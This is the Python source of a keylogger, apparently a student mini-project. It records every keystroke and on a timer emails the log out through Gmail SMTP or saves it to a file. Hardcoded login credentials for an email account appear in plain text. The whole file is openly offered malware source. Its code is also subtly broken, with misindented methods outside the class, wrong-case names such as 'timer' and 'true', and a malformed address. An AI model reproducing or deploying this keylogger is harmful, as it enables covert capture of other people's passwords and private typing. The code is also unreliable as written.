```
#Keylogger by Batch 1 CSE B
import keyboard # for keylogs
import smtplib # for sending email using smtp protocol (gmail)
# timer is to make a method runs after an `interval` amount of time
from threading import timer
from datetime import datetime

send_report_every = 60 # in seconds, 60 means 1 minute and so on
email_address = "miniproject664@gmail.com@gmail.com"
email_password = "Miniproject@664"

class keylogger:
    def __init__(self, interval, report_method="email"):
        # we gonna pass send_report_every to interval
        self.interval = interval
        self.report_method = report_method
        # this is the string variable that contains the log of all
        # the keystrokes within `self.interval`
        self.log = ""
        # record start & end datetimes
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        """
        this callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        """
        name = event.name
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an enter is pressed
                name = "[enter]\n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
    # finally, add the key name to our global `self.log` variable
    self.log += name

def update_filename(self):
    # construct the filename to be identified by start & end datetimes
    start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
    end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
    self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
    """this method creates a log file in the current directory that contains
    the current keylogs in the `self.log` variable"""
    # open the file in write mode (create it)
    with open(f"{self.filename}.txt", "w") as f:
        # write the keylogs to the file
        print(self.log, file=f)
    print(f"[+] saved {self.filename}.txt")

def sendmail(self, email, password, message):
    # manages a connection to an smtp server
    server = smtplib.smtp(host="smtp.gmail.com", port=587)
    # connect to the smtp server as tls mode ( for security )
    server.starttls()
    # login to the email account
    server.login(email, password)
    # send the actual message
    server.sendmail(email, email, message)
    # terminates the session
    server.quit()

def report(self):
    """
    this function gets called every `self.interval`
    it basically sends keylogs and resets `self.log` variable
    """
    if self.log:
        # if there is something in log, report it
        self.end_dt = datetime.now()
        # update `self.filename`
        self.update_filename()
        if self.report_method == "email":
            self.sendmail(email_address, email_password, self.log)
        elif self.report_method == "file":
            self.report_to_file()
            # if you want to print in the console, uncomment below line
            # print(f"[{self.filename}] - {self.log}")
            self.start_dt = datetime.now()
        self.log = ""
        timer = timer(interval=self.interval, function=self.report)
        # set the thread as daemon (dies when main thread die)
        timer.daemon = true
        # start the timer
        timer.start()

    def start(self):
        # record the start datetime
        self.start_dt = datetime.now()
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # block the current thread, wait until ctrl+c is pressed
        keyboard.wait()


if __name__ == "__main__":
    # if you want a keylogger to send to your email
    # keylogger = keylogger(interval=send_report_every, report_method="email")
    # if you want a keylogger to record keylogs to a local file
    # (and then send it using your favorite method)
    keylogger = keylogger(interval=send_report_every, report_method="file")
    keylogger.start())
```